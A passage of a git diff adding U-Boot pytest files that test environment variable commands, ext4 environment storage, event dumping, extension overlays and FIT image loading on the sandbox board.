+ builddir = 'O=' + cons.config.build_dir
+ envfile = cons.config.build_dir + '/u-boot-initial-env'
+
+ # remove if already exists from an older run
+ try:
+ os.remove(envfile)
+ except:
+ pass
+
+ u_boot_utils.run_and_log(cons, ['make', builddir, 'u-boot-initial-env'])
+
+ assert os.path.exists(envfile)
+
+ # assume that every environment has a board variable, e.g. board=sandbox
+ with open(envfile, 'r') as file:
+ env = file.read()
+ regex = re.compile('board=.+\\n')
+ assert re.search(regex, env)
+
+def test_env_echo_exists(state_test_env):
+ """Test echoing a variable that exists."""
+
+ var = state_test_env.get_existent_var()
+ value = state_test_env.env[var]
+ validate_set(state_test_env, var, value)
+
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_env_echo_non_existent(state_test_env):
+ """Test echoing a variable that doesn't exist."""
+
+ var = state_test_env.set_var
+ validate_empty(state_test_env, var)
+
+def test_env_printenv_non_existent(state_test_env):
+ """Test printenv error message for non-existant variables."""
+
+ var = state_test_env.set_var
+ c = state_test_env.u_boot_console
+ with c.disable_check('error_notification'):
+ response = c.run_command('printenv %s' % var)
+ assert response == '## Error: "%s" not defined' % var
+
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_env_unset_non_existent(state_test_env):
+ """Test unsetting a nonexistent variable."""
+
+ var = state_test_env.get_non_existent_var()
+ unset_var(state_test_env, var)
+ validate_empty(state_test_env, var)
+
+def test_env_set_non_existent(state_test_env):
+ """Test set a non-existant variable."""
+
+ var = state_test_env.set_var
+ value = 'foo'
+ set_var(state_test_env, var, value)
+ validate_set(state_test_env, var, value)
+
+def test_env_set_existing(state_test_env):
+ """Test setting an existant variable."""
+
+ var = state_test_env.set_var
+ value = 'bar'
+ set_var(state_test_env, var, value)
+ validate_set(state_test_env, var, value)
+
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_env_unset_existing(state_test_env):
+ """Test unsetting a variable."""
+
+ var = state_test_env.set_var
+ unset_var(state_test_env, var)
+ validate_empty(state_test_env, var)
+
+def test_env_expansion_spaces(state_test_env):
+ """Test expanding a variable that contains a space in its value."""
+
+ var_space = None
+ var_test = None
+ try:
+ var_space = state_test_env.get_non_existent_var()
+ set_var(state_test_env, var_space, ' ')
+
+ var_test = state_test_env.get_non_existent_var()
+ value = ' 1${%(var_space)s}${%(var_space)s} 2 ' % locals()
+ set_var(state_test_env, var_test, value)
+ value = ' 1 2 '
+ validate_set(state_test_env, var_test, value)
+ finally:
+ if var_space:
+ unset_var(state_test_env, var_space)
+ if var_test:
+ unset_var(state_test_env, var_test)
+
+@pytest.mark.buildconfigspec('cmd_importenv')
+def test_env_import_checksum_no_size(state_test_env):
+ """Test that omitted ('-') size parameter with checksum validation fails the
+ env import function.
+ """
+ c = state_test_env.u_boot_console
+ ram_base = u_boot_utils.find_ram_base(state_test_env.u_boot_console)
+ addr = '%08x' % ram_base
+
+ with c.disable_check('error_notification'):
+ response = c.run_command('env import -c %s -' % addr)
+ assert response == '## Error: external checksum format must pass size'
+
+@pytest.mark.buildconfigspec('cmd_importenv')
+def test_env_import_whitelist_checksum_no_size(state_test_env):
+ """Test that omitted ('-') size parameter with checksum validation fails the
+ env import function when variables are passed as parameters.
+ """
+ c = state_test_env.u_boot_console
+ ram_base = u_boot_utils.find_ram_base(state_test_env.u_boot_console)
+ addr = '%08x' % ram_base
+
+ with c.disable_check('error_notification'):
+ response = c.run_command('env import -c %s - foo1 foo2 foo4' % addr)
+ assert response == '## Error: external checksum format must pass size'
+
+@pytest.mark.buildconfigspec('cmd_exportenv')
+@pytest.mark.buildconfigspec('cmd_importenv')
+def test_env_import_whitelist(state_test_env):
+ """Test importing only a handful of env variables from an environment."""
+ c = state_test_env.u_boot_console
+ ram_base = u_boot_utils.find_ram_base(state_test_env.u_boot_console)
+ addr = '%08x' % ram_base
+
+ set_var(state_test_env, 'foo1', 'bar1')
+ set_var(state_test_env, 'foo2', 'bar2')
+ set_var(state_test_env, 'foo3', 'bar3')
+
+ c.run_command('env export %s' % addr)
+
+ unset_var(state_test_env, 'foo1')
+ set_var(state_test_env, 'foo2', 'test2')
+ set_var(state_test_env, 'foo4', 'bar4')
+
+ # no foo1 in current env, foo2 overridden, foo3 should be of the value
+ # before exporting and foo4 should be of the value before importing.
+ c.run_command('env import %s - foo1 foo2 foo4' % addr)
+
+ validate_set(state_test_env, 'foo1', 'bar1')
+ validate_set(state_test_env, 'foo2', 'bar2')
+ validate_set(state_test_env, 'foo3', 'bar3')
+ validate_set(state_test_env, 'foo4', 'bar4')
+
+ # Cleanup test environment
+ unset_var(state_test_env, 'foo1')
+ unset_var(state_test_env, 'foo2')
+ unset_var(state_test_env, 'foo3')
+ unset_var(state_test_env, 'foo4')
+
+@pytest.mark.buildconfigspec('cmd_exportenv')
+@pytest.mark.buildconfigspec('cmd_importenv')
+def test_env_import_whitelist_delete(state_test_env):
+
+ """Test importing only a handful of env variables from an environment, with.
+ deletion if a var A that is passed to env import is not in the
+ environment to be imported.
+ """
+ c = state_test_env.u_boot_console
+ ram_base = u_boot_utils.find_ram_base(state_test_env.u_boot_console)
+ addr = '%08x' % ram_base
+
+ set_var(state_test_env, 'foo1', 'bar1')
+ set_var(state_test_env, 'foo2', 'bar2')
+ set_var(state_test_env, 'foo3', 'bar3')
+
+ c.run_command('env export %s' % addr)
+
+ unset_var(state_test_env, 'foo1')
+ set_var(state_test_env, 'foo2', 'test2')
+ set_var(state_test_env, 'foo4', 'bar4')
+
+ # no foo1 in current env, foo2 overridden, foo3 should be of the value
+ # before exporting and foo4 should be empty.
+ c.run_command('env import -d %s - foo1 foo2 foo4' % addr)
+
+ validate_set(state_test_env, 'foo1', 'bar1')
+ validate_set(state_test_env, 'foo2', 'bar2')
+ validate_set(state_test_env, 'foo3', 'bar3')
+ validate_empty(state_test_env, 'foo4')
+
+ # Cleanup test environment
+ unset_var(state_test_env, 'foo1')
+ unset_var(state_test_env, 'foo2')
+ unset_var(state_test_env, 'foo3')
+ unset_var(state_test_env, 'foo4')
+
+@pytest.mark.buildconfigspec('cmd_nvedit_info')
+def test_env_info(state_test_env):
+
+ """Test 'env info' command with all possible options.
+ """
+ c = state_test_env.u_boot_console
+
+ response = c.run_command('env info')
+ nb_line = 0
+ for l in response.split('\n'):
+ if 'env_valid = ' in l:
+ assert '= invalid' in l or '= valid' in l or '= redundant' in l
+ nb_line += 1
+ elif 'env_ready =' in l or 'env_use_default =' in l:
+ assert '= true' in l or '= false' in l
+ nb_line += 1
+ else:
+ assert True
+ assert nb_line == 3
+
+ response = c.run_command('env info -p -d')
+ assert 'Default environment is used' in response or \
+ "Environment was loaded from persistent storage" in response
+ assert 'Environment can be persisted' in response or \
+ "Environment cannot be persisted" in response
+
+ response = c.run_command('env info -p -d -q')
+ assert response == ""
+
+ response = c.run_command('env info -p -q')
+ assert response == ""
+
+ response = c.run_command('env info -d -q')
+ assert response == ""
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_nvedit_info')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_env_info_sandbox(state_test_env):
+ """Test 'env info' command result with several options on sandbox
+ with a known ENV configuration: ready & default & persistent
+ """
+ c = state_test_env.u_boot_console
+
+ response = c.run_command('env info')
+ assert 'env_ready = true' in response
+ assert 'env_use_default = true' in response
+
+ response = c.run_command('env info -p -d')
+ assert 'Default environment is used' in response
+ assert 'Environment cannot be persisted' in response
+
+ response = c.run_command('env info -d -q')
+ response = c.run_command('echo $?')
+ assert response == "0"
+
+ response = c.run_command('env info -p -q')
+ response = c.run_command('echo $?')
+ assert response == "1"
+
+ response = c.run_command('env info -d -p -q')
+ response = c.run_command('echo $?')
+ assert response == "1"
+
+def mk_env_ext4(state_test_env):
+
+ """Create a empty ext4 file system volume."""
+ c = state_test_env.u_boot_console
+ filename = 'env.ext4.img'
+ persistent = c.config.persistent_data_dir + '/' + filename
+ fs_img = c.config.result_dir + '/' + filename
+
+ if os.path.exists(persistent):
+ c.log.action('Disk image file ' + persistent + ' already exists')
+ else:
+ # Some distributions do not add /sbin to the default PATH, where mkfs.ext4 lives
+ os.environ["PATH"] += os.pathsep + '/sbin'
+ try:
+ u_boot_utils.run_and_log(c, 'dd if=/dev/zero of=%s bs=1M count=16' % persistent)
+ u_boot_utils.run_and_log(c, 'mkfs.ext4 %s' % persistent)
+ sb_content = u_boot_utils.run_and_log(c, 'tune2fs -l %s' % persistent)
+ if 'metadata_csum' in sb_content:
+ u_boot_utils.run_and_log(c, 'tune2fs -O ^metadata_csum %s' % persistent)
+ except CalledProcessError:
+ call('rm -f %s' % persistent, shell=True)
+ raise
+
+ u_boot_utils.run_and_log(c, ['cp', '-f', persistent, fs_img])
+ return fs_img
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('cmd_nvedit_info')
+@pytest.mark.buildconfigspec('cmd_nvedit_load')
+@pytest.mark.buildconfigspec('cmd_nvedit_select')
+@pytest.mark.buildconfigspec('env_is_in_ext4')
+def test_env_ext4(state_test_env):
+
+ """Test ENV in EXT4 on sandbox."""
+ c = state_test_env.u_boot_console
+ fs_img = ''
+ try:
+ fs_img = mk_env_ext4(state_test_env)
+
+ c.run_command('host bind 0 %s' % fs_img)
+
+ response = c.run_command('ext4ls host 0:0')
+ assert 'uboot.env' not in response
+
+ # force env location: EXT4 (prio 1 in sandbox)
+ response = c.run_command('env select EXT4')
+ assert 'Select Environment on EXT4: OK' in response
+
+ response = c.run_command('env save')
+ assert 'Saving Environment to EXT4' in response
+
+ response = c.run_command('env load')
+ assert 'Loading Environment from EXT4... OK' in response
+
+ response = c.run_command('ext4ls host 0:0')
+ assert '8192 uboot.env' in response
+
+ response = c.run_command('env info')
+ assert 'env_valid = valid' in response
+ assert 'env_ready = true' in response
+ assert 'env_use_default = false' in response
+
+ response = c.run_command('env info -p -d')
+ assert 'Environment was loaded from persistent storage' in response
+ assert 'Environment can be persisted' in response
+
+ response = c.run_command('env info -d -q')
+ assert response == ""
+ response = c.run_command('echo $?')
+ assert response == "1"
+
+ response = c.run_command('env info -p -q')
+ assert response == ""
+ response = c.run_command('echo $?')
+ assert response == "0"
+
+ response = c.run_command('env erase')
+ assert 'OK' in response
+
+ response = c.run_command('env load')
+ assert 'Loading Environment from EXT4... ' in response
+ assert 'bad CRC, using default environment' in response
+
+ response = c.run_command('env info')
+ assert 'env_valid = invalid' in response
+ assert 'env_ready = true' in response
+ assert 'env_use_default = true' in response
+
+ response = c.run_command('env info -p -d')
+ assert 'Default environment is used' in response
+ assert 'Environment can be persisted' in response
+
+ # restore env location: NOWHERE (prio 0 in sandbox)
+ response = c.run_command('env select nowhere')
+ assert 'Select Environment on nowhere: OK' in response
+
+ response = c.run_command('env load')
+ assert 'Loading Environment from nowhere... OK' in response
+
+ response = c.run_command('env info')
+ assert 'env_valid = invalid' in response
+ assert 'env_ready = true' in response
+ assert 'env_use_default = true' in response
+
+ response = c.run_command('env info -p -d')
+ assert 'Default environment is used' in response
+ assert 'Environment cannot be persisted' in response
+
+ finally:
+ if fs_img:
+ call('rm -f %s' % fs_img, shell=True)
+
+def test_env_text(u_boot_console):
+ """Test the script that converts the environment to a text file"""
+
+ def check_script(intext, expect_val):
+ """Check a test case
+
+ Args:
+ intext: Text to pass to the script
+ expect_val: Expected value of the CONFIG_EXTRA_ENV_TEXT string, or
+ None if we expect it not to be defined
+ """
+ with tempfile.TemporaryDirectory() as path:
+ fname = os.path.join(path, 'infile')
+ with open(fname, 'w') as inf:
+ print(intext, file=inf)
+ result = u_boot_utils.run_and_log(cons, ['awk', '-f', script, fname])
+ if expect_val is not None:
+ expect = '#define CONFIG_EXTRA_ENV_TEXT "%s"\n' % expect_val
+ assert result == expect
+ else:
+ assert result == ''
+
+ cons = u_boot_console
+ script = os.path.join(cons.config.source_dir, 'scripts', 'env2string.awk')
+
+ # simple script with a single var
+ check_script('fred=123', 'fred=123\\0')
+
+ # no vars
+ check_script('', None)
+
+ # two vars
+ check_script('''fred=123
+mary=456''', 'fred=123\\0mary=456\\0')
+
+ # blank lines
+ check_script('''fred=123
+
+
+mary=456
+
+''', 'fred=123\\0mary=456\\0')
+
+ # append
+ check_script('''fred=123
+mary=456
+fred+= 456''', 'fred=123 456\\0mary=456\\0')
+
+ # append from empty
+ check_script('''fred=
+mary=456
+fred+= 456''', 'fred= 456\\0mary=456\\0')
+
+ # variable with + in it
+ check_script('fred+mary=123', 'fred+mary=123\\0')
+
+ # ignores variables that are empty
+ check_script('''fred=
+fred+=
+mary=456''', 'mary=456\\0')
+
+ # single-character env name
+ check_script('''m=123
+e=456
+m+= 456''', 'e=456\\0m=123 456\\0')
+
+ # contains quotes
+ check_script('''fred="my var"
+mary=another"''', 'fred=\\"my var\\"\\0mary=another\\"\\0')
+
+ # variable name ending in +
+ check_script('''fred\\+=my var
+fred++= again''', 'fred+=my var again\\0')
+
+ # variable name containing +
+ check_script('''fred+jane=both
+fred+jane+=again
+mary=456''', 'fred+jane=bothagain\\0mary=456\\0')
+
+ # multi-line vars - new vars always start at column 1
+ check_script('''fred=first
+ second
+\tthird with tab
+
+ after blank
+ confusing=oops
+mary=another"''', 'fred=first second third with tab after blank confusing=oops\\0mary=another\\"\\0')
+
+ # real-world example
+ check_script('''ubifs_boot=
+ env exists bootubipart ||
+ env set bootubipart UBI;
+ env exists bootubivol ||
+ env set bootubivol boot;
+ if ubi part ${bootubipart} &&
+ ubifsmount ubi${devnum}:${bootubivol};
+ then
+ devtype=ubi;
+ run scan_dev_for_boot;
+ fi
+''',
+ 'ubifs_boot=env exists bootubipart || env set bootubipart UBI; '
+ 'env exists bootubivol || env set bootubivol boot; '
+ 'if ubi part ${bootubipart} && ubifsmount ubi${devnum}:${bootubivol}; '
+ 'then devtype=ubi; run scan_dev_for_boot; fi\\0')
diff --git a/test/py/tests/test_event_dump.py b/test/py/tests/test_event_dump.py
new file mode 100644
index 00000000000..e282c67335c
--- /dev/null
+++ b/test/py/tests/test_event_dump.py
@@ -0,0 +1,24 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright 2021 Google LLC
+# Written by Simon Glass <sjg@chromium.org>
+
+import pytest
+import re
+import u_boot_utils as util
+
+# This is only a partial test - coverting 64-bit sandbox. It does not test
+# big-endian images, nor 32-bit images
+@pytest.mark.boardspec('sandbox')
+def test_event_dump(u_boot_console):
+ """Test that the "help" command can be executed."""
+ cons = u_boot_console
+ sandbox = cons.config.build_dir + '/u-boot'
+ out = util.run_and_log(cons, ['scripts/event_dump.py', sandbox])
+ expect = '''.*Event type Id Source location
+-------------------- ------------------------------ ------------------------------
+EVT_FT_FIXUP bootmeth_vbe_ft_fixup .*boot/vbe_request.c:.*
+EVT_FT_FIXUP bootmeth_vbe_simple_ft_fixup .*boot/vbe_simple_os.c:.*
+EVT_LAST_STAGE_INIT install_smbios_table .*lib/efi_loader/efi_smbios.c:.*
+EVT_MISC_INIT_F sandbox_early_getopt_check .*arch/sandbox/cpu/start.c:.*
+EVT_TEST h_adder_simple .*test/common/event.c:'''
+ assert re.match(expect, out, re.MULTILINE) is not None
diff --git a/test/py/tests/test_extension.py b/test/py/tests/test_extension.py
new file mode 100644
index 00000000000..267cf2ff27c
--- /dev/null
+++ b/test/py/tests/test_extension.py
@@ -0,0 +1,53 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2020
+# Author: Kory Maincent <kory.maincent@bootlin.com>
+
+# Test U-Boot's "extension" commands.
+
+import os
+import pytest
+import u_boot_utils
+
+overlay_addr = 0x1000
+
+SANDBOX_DTB='arch/sandbox/dts/sandbox.dtb'
+OVERLAY_DIR='arch/sandbox/dts/'
+
+def load_dtb(u_boot_console):
+ u_boot_console.log.action('Loading devicetree to RAM...')
+ u_boot_console.run_command('host load hostfs - $fdt_addr_r %s' % (os.path.join(u_boot_console.config.build_dir, SANDBOX_DTB)))
+ u_boot_console.run_command('fdt addr $fdt_addr_r')
+
+@pytest.mark.buildconfigspec('cmd_fdt')
+@pytest.mark.boardspec('sandbox')
+def test_extension(u_boot_console):
+ """Test the 'extension' command."""
+
+ load_dtb(u_boot_console)
+
+ output = u_boot_console.run_command('extension list')
+ assert('No extension' in output)
+
+ output = u_boot_console.run_command('extension scan')
+ assert output == 'Found 2 extension board(s).'
+
+ output = u_boot_console.run_command('extension list')
+ assert('overlay0.dtbo' in output)
+ assert('overlay1.dtbo' in output)
+
+ u_boot_console.run_command_list([
+ 'setenv extension_overlay_addr %s' % (overlay_addr),
+ 'setenv extension_overlay_cmd \'host load hostfs - ${extension_overlay_addr} %s${extension_overlay_name}\'' % (os.path.join(u_boot_console.config.build_dir, OVERLAY_DIR))])
+
+ output = u_boot_console.run_command('extension apply 0')
+ assert('bytes read' in output)
+
+ output = u_boot_console.run_command('fdt print')
+ assert('button3' in output)
+
+ output = u_boot_console.run_command('extension apply all')
+ assert('bytes read' in output)
+
+ output = u_boot_console.run_command('fdt print')
+ assert('button4' in output)
+
diff --git a/test/py/tests/test_fit.py b/test/py/tests/test_fit.py
new file mode 100755
index 00000000000..8f9c4b26411
--- /dev/null
+++ b/test/py/tests/test_fit.py
@@ -0,0 +1,410 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2013, Google Inc.
+#
+# Sanity check of the FIT handling in U-Boot
+
+import os
+import pytest
+import struct
+import u_boot_utils as util
+import fit_util
+
+# Define a base ITS which we can adjust using % and a dictionary
+base_its = '''
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel-1 {
+ data = /incbin/("%(kernel)s");
+ type = "kernel";
+ arch = "sandbox";
+ os = "linux";
+ compression = "%(compression)s";
+ load = <0x40000>;
+ entry = <0x8>;
+ };
+ kernel-2 {
+ data = /incbin/("%(loadables1)s");
+ type = "kernel";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ %(loadables1_load)s
+ entry = <0x0>;
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("%(fdt)s");
+ type = "flat_dt";
+ arch = "sandbox";
+ %(fdt_load)s
+ compression = "%(compression)s";
+ signature-1 {
+ algo = "sha1,rsa2048";
+ key-name-hint = "dev";
+ };
+ };
+ ramdisk-1 {
+ description = "snow";
+ data = /incbin/("%(ramdisk)s");
+ type = "ramdisk";
+ arch = "sandbox";
+ os = "linux";
+ %(ramdisk_load)s
+ compression = "%(compression)s";
+ };
+ ramdisk-2 {
+ description = "snow";
+ data = /incbin/("%(loadables2)s");
+ type = "ramdisk";
+ arch = "sandbox";
+ os = "linux";
+ %(loadables2_load)s
+ compression = "none";
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel-1";
+ fdt = "fdt-1";
+ %(ramdisk_config)s
+ %(loadables_config)s
+ };
+ };
+};
+'''
+
+# Define a base FDT - currently we don't use anything in this
+base_fdt = '''
+/dts-v1/;
+
+/ {
+ #address-cells = <1>;
+ #size-cells = <0>;
+
+ model = "Sandbox Verified Boot Test";
+ compatible = "sandbox";
+
+ binman {
+ };
+
+ reset@0 {
+ compatible = "sandbox,reset";
+ reg = <0>;
+ };
+};
+'''
+
+# This is the U-Boot script that is run for each test. First load the FIT,
+# then run the 'bootm' command, then save out memory from the places where
+# we expect 'bootm' to write things. Then quit.
+base_script = '''
+host load hostfs 0 %(fit_addr)x %(fit)s
+fdt addr %(fit_addr)x
+bootm start %(fit_addr)x
+bootm loados
+host save hostfs 0 %(kernel_addr)x %(kernel_out)s %(kernel_size)x
+host save hostfs 0 %(fdt_addr)x %(fdt_out)s %(fdt_size)x
+host save hostfs 0 %(ramdisk_addr)x %(ramdisk_out)s %(ramdisk_size)x
+host save hostfs 0 %(loadables1_addr)x %(loadables1_out)s %(loadables1_size)x
+host save hostfs 0 %(loadables2_addr)x %(loadables2_out)s %(loadables2_size)x
+'''
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('fit_signature')
+@pytest.mark.requiredtool('dtc')
+def test_fit(u_boot_console):
+ def make_fname(leaf):
+ """Make a temporary filename
+
+ Args:
+ leaf: Leaf name of file to create (within temporary directory)
+ Return:
+ Temporary filename
+ """
+ return os.path.join(cons.config.build_dir, leaf)
+
+ def filesize(fname):
+ """Get the size of a file
+
+ Args:
+ fname: Filename to check
+ Return:
+ Size of file in bytes
+ """
+ return os.stat(fname).st_size
+
+ def read_file(fname):
+ """Read the contents of a file
+
+ Args:
+ fname: Filename to read
+ Returns:
+ Contents of file as a string
+ """
+ with open(fname, 'rb') as fd:
+ return fd.read()
+
+ def make_ramdisk(filename, text):
+ """Make a sample ramdisk with test data
+
+ Returns:
+ Filename of ramdisk created
+ """
+ fname = make_fname(filename)
+ data = ''
+ for i in range(100):
+ data += '%s %d was seldom used in the middle ages\n' % (text, i)
+ with open(fname, 'w') as fd:
+ print(data, file=fd)
+ return fname
+
+ def make_compressed(filename):
+ util.run_and_log(cons, ['gzip', '-f', '-k', filename])
+ return filename + '.gz'
+
+ def find_matching(text, match):
+ """Find a match in a line of text, and return the unmatched line portion
+
+ This is used to extract a part of a line from some text. The match string
+ is used to locate the line - we use the first line that contains that
+ match text.
+
+ Once we find a match, we discard the match string itself from the line,
+ and return what remains.
+
+ TODO: If this function becomes more generally useful, we could change it
+ to use regex and return groups.
+
+ Args:
+ text: Text to check (list of strings, one for each command issued)
+ match: String to search for
+ Return:
+ String containing unmatched portion of line
+ Exceptions:
+ ValueError: If match is not found
+
+ >>> find_matching(['first line:10', 'second_line:20'], 'first line:')
+ '10'
+ >>> find_matching(['first line:10', 'second_line:20'], 'second line')
+ Traceback (most recent call last):
+ ...
+ ValueError: Test aborted
+ >>> find_matching('first line:10\', 'second_line:20'], 'second_line:')
+ '20'
+ >>> find_matching('first line:10\', 'second_line:20\nthird_line:30'],
+ 'third_line:')
+ '30'
+ """
+ __tracebackhide__ = True
+ for line in '\n'.join(text).splitlines():
+ pos = line.find(match)
+ if pos != -1:
+ return line[:pos] + line[pos + len(match):]
+
+ pytest.fail("Expected '%s' but not found in output")
+
+ def check_equal(expected_fname, actual_fname, failure_msg):
+ """Check that a file matches its expected contents
+
+ This is always used on out-buffers whose size is decided by the test
+ script anyway, which in some cases may be larger than what we're
+ actually looking for. So it's safe to truncate it to the size of the
+ expected data.
+
+ Args:
+ expected_fname: Filename containing expected contents
+ actual_fname: Filename containing actual contents
+ failure_msg: Message to print on failure
+ """
+ expected_data = read_file(expected_fname)
+ actual_data = read_file(actual_fname)
+ if len(expected_data) < len(actual_data):
+ actual_data = actual_data[:len(expected_data)]
+ assert expected_data == actual_data, failure_msg
+
+ def check_not_equal(expected_fname, actual_fname, failure_msg):
+ """Check that a file does not match its expected contents
+
+ Args:
+ expected_fname: Filename containing expected contents
+ actual_fname: Filename containing actual contents
+ failure_msg: Message to print on failure
+ """
+ expected_data = read_file(expected_fname)
+ actual_data = read_file(actual_fname)
+ assert expected_data != actual_data, failure_msg
+
+ def run_fit_test(mkimage):
+ """Basic sanity check of FIT loading in U-Boot
+
+ TODO: Almost everything:
+ - hash algorithms - invalid hash/contents should be detected
+ - signature algorithms - invalid sig/contents should be detected
+ - compression
+ - checking that errors are detected like:
+ - image overwriting
+ - missing images
+ - invalid configurations
+ - incorrect os/arch/type fields
+ - empty data
+ - images too large/small
+ - invalid FDT (e.g. putting a random binary in instead)
+ - default configuration selection
+ - bootm command line parameters should have desired effect
+ - run code coverage to make sure we are testing all the code
+ """
+ # Set up invariant files
+ control_dtb = fit_util.make_dtb(cons, base_fdt, 'u-boot')
+ kernel = fit_util.make_kernel(cons, 'test-kernel.bin', 'kernel')
+ ramdisk = make_ramdisk('test-ramdisk.bin', 'ramdisk')
+ loadables1 = fit_util.make_kernel(cons, 'test-loadables1.bin', 'lenrek')
+ loadables2 = make_ramdisk('test-loadables2.bin', 'ksidmar')
+ kernel_out = make_fname('kernel-out.bin')
+ fdt = make_fname('u-boot.dtb')
+ fdt_out = make_fname('fdt-out.dtb')
+ ramdisk_out = make_fname('ramdisk-out.bin')
+ loadables1_out = make_fname('loadables1-out.bin')
+ loadables2_out = make_fname('loadables2-out.bin')
+
+ # Set up basic parameters with default values
+ params = {
+ 'fit_addr' : 0x1000,
+
+ 'kernel' : kernel,
+ 'kernel_out' : kernel_out,
+ 'kernel_addr' : 0x40000,
+ 'kernel_size' : filesize(kernel),
+
+ 'fdt' : fdt,
+ 'fdt_out' : fdt_out,
+ 'fdt_addr' : 0x80000,
+ 'fdt_size' : filesize(control_dtb),
+ 'fdt_load' : '',
+
+ 'ramdisk' : ramdisk,
+ 'ramdisk_out' : ramdisk_out,
+ 'ramdisk_addr' : 0xc0000,
+ 'ramdisk_size' : filesize(ramdisk),
+ 'ramdisk_load' : '',
+ 'ramdisk_config' : '',
+
+ 'loadables1' : loadables1,
+ 'loadables1_out' : loadables1_out,
+ 'loadables1_addr' : 0x100000,
+ 'loadables1_size' : filesize(loadables1),
+ 'loadables1_load' : '',
+
+ 'loadables2' : loadables2,
+ 'loadables2_out' : loadables2_out,
+ 'loadables2_addr' : 0x140000,
+ 'loadables2_size' : filesize(loadables2),
+ 'loadables2_load' : '',
+
+ 'loadables_config' : '',
+ 'compression' : 'none',
+ }
+
+ # Make a basic FIT and a script to load it
+ fit = fit_util.make_fit(cons, mkimage, base_its, params)
+ params['fit'] = fit
+ cmd = base_script % params
+
+ # First check that we can load a kernel
+ # We could perhaps reduce duplication with some loss of readability
+ cons.config.dtb = control_dtb
+ cons.restart_uboot()
+ with cons.log.section('Kernel load'):
+ output = cons.run_command_list(cmd.splitlines())
+ check_equal(kernel, kernel_out, 'Kernel not loaded')
+ check_not_equal(control_dtb, fdt_out,
+ 'FDT loaded but should be ignored')
+ check_not_equal(ramdisk, ramdisk_out,
+ 'Ramdisk loaded but should not be')
+
+ # Find out the offset in the FIT where U-Boot has found the FDT
+ line = find_matching(output, 'Booting using the fdt blob at ')
+ fit_offset = int(line, 16) - params['fit_addr']
+ fdt_magic = struct.pack('>L', 0xd00dfeed)
+ data = read_file(fit)
+
+ # Now find where it actually is in the FIT (skip the first word)
+ real_fit_offset = data.find(fdt_magic, 4)
+ assert fit_offset == real_fit_offset, (
+ 'U-Boot loaded FDT from offset %#x, FDT is actually at %#x' %
+ (fit_offset, real_fit_offset))
+
+ # Check if bootargs strings substitution works
+ output = cons.run_command_list([
+ 'env set bootargs \\\"\'my_boot_var=${foo}\'\\\"',
+ 'env set foo bar',
+ 'bootm prep',
+ 'env print bootargs'])
+ assert 'bootargs="my_boot_var=bar"' in output, "Bootargs strings not substituted"
+
+ # Now a kernel and an FDT
+ with cons.log.section('Kernel + FDT load'):
+ params['fdt_load'] = 'load = <%#x>;' % params['fdt_addr']
+ fit = fit_util.make_fit(cons, mkimage, base_its, params)
+ cons.restart_uboot()
+ output = cons.run_command_list(cmd.splitlines())
+ check_equal(kernel, kernel_out, 'Kernel not loaded')
+ check_equal(control_dtb, fdt_out, 'FDT not loaded')
+ check_not_equal(ramdisk, ramdisk_out,
+ 'Ramdisk loaded but should not be')
+
+ # Try a ramdisk
+ with cons.log.section('Kernel + FDT + Ramdisk load'):
+ params['ramdisk_config'] = 'ramdisk = "ramdisk-1";'
+ params['ramdisk_load'] = 'load = <%#x>;' % params['ramdisk_addr']
+ fit = fit_util.make_fit(cons, mkimage, base_its, params)
+ cons.restart_uboot()
+ output = cons.run_command_list(cmd.splitlines())
+ check_equal(ramdisk, ramdisk_out, 'Ramdisk not loaded')
+
+ # Configuration with some Loadables
+ with cons.log.section('Kernel + FDT + Ramdisk load + Loadables'):
+ params['loadables_config'] = 'loadables = "kernel-2", "ramdisk-2";'
+ params['loadables1_load'] = ('load = <%#x>;' %
+ params['loadables1_addr'])
+ params['loadables2_load'] = ('load = <%#x>;' %
+ params['loadables2_addr'])
+ fit = fit_util.make_fit(cons, mkimage, base_its, params)
+ cons.restart_uboot()
+ output = cons.run_command_list(cmd.splitlines())
+ check_equal(loadables1, loadables1_out,
+ 'Loadables1 (kernel) not loaded')
+ check_equal(loadables2, loadables2_out,
+ 'Loadables2 (ramdisk) not loaded')
+
+ # Kernel, FDT and Ramdisk all compressed
+ with cons.log.section('(Kernel + FDT + Ramdisk) compressed'):
+ params['compression'] = 'gzip'
+ params['kernel'] = make_compressed(kernel)
+ params['fdt'] = make_compressed(fdt)
+ params['ramdisk'] = make_compressed(ramdisk)
+ fit = fit_util.make_fit(cons, mkimage, base_its, params)
+ cons.restart_uboot()
+ output = cons.run_command_list(cmd.splitlines())
+ check_equal(kernel, kernel_out, 'Kernel not loaded')
+ check_equal(control_dtb, fdt_out, 'FDT not loaded')
+ check_not_equal(ramdisk, ramdisk_out, 'Ramdisk got decompressed?')
+ check_equal(ramdisk + '.gz', ramdisk_out, 'Ramdist not loaded')
+
+
+ cons = u_boot_console
+ # We need to use our own device tree file. Remember to restore it
+ # afterwards.
+ old_dtb = cons.config.dtb
+ try:
+ mkimage = cons.config.build_dir + '/tools/mkimage'
+ run_fit_test(mkimage)
+ finally:
+ # Go back to the original U-Boot with the correct dtb.
+ cons.config.dtb = old_dtb
+ cons.restart_uboot()
diff --git a/test/py/tests/test_fit_auto_signed.py b/test/py/tests/test_fit_auto_signed.py
new file mode 100644
index 00000000000..9ea3351619f
--- /dev/null
+++ b/test/py/tests/test_fit_auto_signed.py
@@ -0,0 +1,195 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2022 Massimo Pegorer
+
+"""
+Test that mkimage generates auto-FIT with signatures and/or hashes as expected.
+
+The mkimage tool can create auto generated (i.e. without an ITS file
+provided as input) FIT in three different flavours: with crc32 checksums
